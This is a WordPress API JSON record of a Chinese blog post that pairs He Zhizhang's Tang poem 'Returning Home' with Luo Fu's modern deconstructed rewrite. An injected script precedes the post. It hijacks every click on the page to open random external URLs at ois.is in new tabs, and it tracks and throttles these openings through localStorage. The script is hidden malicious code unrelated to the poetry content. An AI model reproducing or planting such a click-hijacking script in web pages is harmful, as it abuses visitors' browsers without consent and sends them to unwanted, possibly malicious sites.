<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1248,"date":"2016-03-17T21:54:03","date_gmt":"2016-03-17T13:54:03","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1248"},"modified":"2016-03-17T21:54:03","modified_gmt":"2016-03-17T13:54:03","slug":"%e5%94%90%e8%a9%a9%e8%a7%a3%e6%a7%8b%ef%bc%8f%e5%9b%9e%e9%84%89%e5%81%b6%e6%9b%b8%e2%8a%99%e6%b4%9b%e5%a4%ab","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1248","title":{"rendered":"\u5510\u8a69\u89e3\u69cb\uff0f\u56de\u9109\u5076\u66f8\u2299\u6d1b\u592b"},"content":{"rendered":"<p style=\"margin: 36pt 36pt 18pt; line-height: 22pt;\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\">\u5510\u8a69\u89e3\u69cb\uff0f\u56de\u9109\u5076\u66f8\u2299\u6d1b\u592b<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><strong><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0074ad;\">\u539f\u4f5c<\/span><\/strong><strong><\/strong><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><strong><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #414141;\">\u5c11\u5c0f\u96e2\u5bb6\u8001\u5927\u56de\uff0c\u9109\u97f3\u672a\u6539\u9b22\u6bdb\u8870\uff0c<\/span><\/strong><b><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><br \/>\n<\/span><\/b><strong><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #414141;\">\u5152\u7ae5\u76f8\u898b\u4e0d\u76f8\u8b58\uff0c\u7b11\u554f\u5ba2\u5f9e\u4f55\u8655\u4f86\u3002<\/span><\/strong><strong><\/strong><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><strong><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<\/span><\/strong><strong><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #414141;\">\uff0d\uff0d\u8cc0\u77e5\u7ae0<\/span><\/strong><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><strong><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0074ad;\">\u89e3\u69cb\u65b0\u4f5c<\/span><\/strong><strong><\/strong><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><span style=\"font-size: 11pt; color: #414141;\">\u4f60\u554f\u6211\u5f9e\u54ea\u88e1\u4f86\uff1f<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><span style=\"font-size: 11pt; color: #414141;\">\u98a8\u88e1\u96e8\u88e1<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><br \/>\n<\/span><span style=\"font-size: 11pt; color: #414141;\">\u8305\u5e97\u96de\u9cf4\u88e1\uff0c\u5bd2\u7a97\u4e0b\u7684\u71c8\u706b\u88e1<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><br \/>\n<\/span><span style=\"font-size: 11pt; color: #414141;\">\u5f9e\u4e1f\u4e86\u9b42\u7684\u5929\u6daf<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><br \/>\n<\/span><span style=\"font-size: 11pt; color: #414141;\">\u5f9e\u6bd4\u6211\u9084\u8001\u7684\u6b72\u6708\u88e1<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><br \/>\n<\/span><span style=\"font-size: 11pt; color: #414141;\">\u6709\u6642\uff0c\u4e5f\u5f9e\u6dfa\u6dfa\u7684\u9152\u58fa\u88e1<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><span style=\"font-size: 11pt; color: #414141;\">\u5b69\u5b50\uff0c\u5225\u8aaa\u4e0d\u8a8d\u8b58\u6211<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><br \/>\n<\/span><span style=\"font-size: 11pt; color: #414141;\">\u9019\u9109\u97f3<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><br \/>\n<\/span><span style=\"font-size: 11pt; color: #414141;\">\u5c31\u662f\u6211\u5b88\u8b77\u4e86\u4e00\u8f29\u5b50\u7684\u80ce\u8a18<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><span style=\"font-size: 11pt; color: #414141;\">\u00a0<\/span><\/p>\n<p class=\"story\" style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; overflow: hidden; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><span style=\"overflow: hidden;\"><span class=\"story1\"><span style=\"font-size: 11pt; color: #414141;\">\u3010<\/span><\/span><span class=\"story1\"><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\">2014\/10\/01 <\/span><\/span><span class=\"story1\"><span style=\"font-size: 11pt; color: #414141;\">\u806f\u5408\u5831\u3011<\/span><\/span><\/span><span class=\"story1\"><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\"><a href=\"http:\/\/udn.com\/NEWS\/READING\/X5\/8969871.shtml\">http:\/\/udn.com\/NEWS\/READING\/X5\/8969871.shtml<\/a><\/span><\/span><\/p>\n<p class=\"story\" style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt; overflow: hidden; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\"><span class=\"story1\"><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #414141;\">\u00a0<\/span><\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #ff8000; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\">\u00a0<\/span><\/b><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5510\u8a69\u89e3\u69cb\uff0f\u56de\u9109\u5076\u66f8\u2299\u6d1b\u592b \u539f\u4f5c \u5c11\u5c0f\u96e2\u5bb6\u8001\u5927\u56de\uff0c\u9109\u97f3\u672a\u6539\u9b22\u6bdb\u8870\uff0c \u5152\u7ae5\u76f8\u898b\u4e0d\u76f8\u8b58\uff0c\u7b11\u554f\u5ba2\u5f9e\u4f55\u8655\u4f86\u3002 \u00a0 \u00a0 \u00a0 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,42,55],"tags":[83,97],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1248"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1248"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1248\/revisions"}],"predecessor-version":[{"id":1249,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1248\/revisions\/1249"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1248"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1248"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1248"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}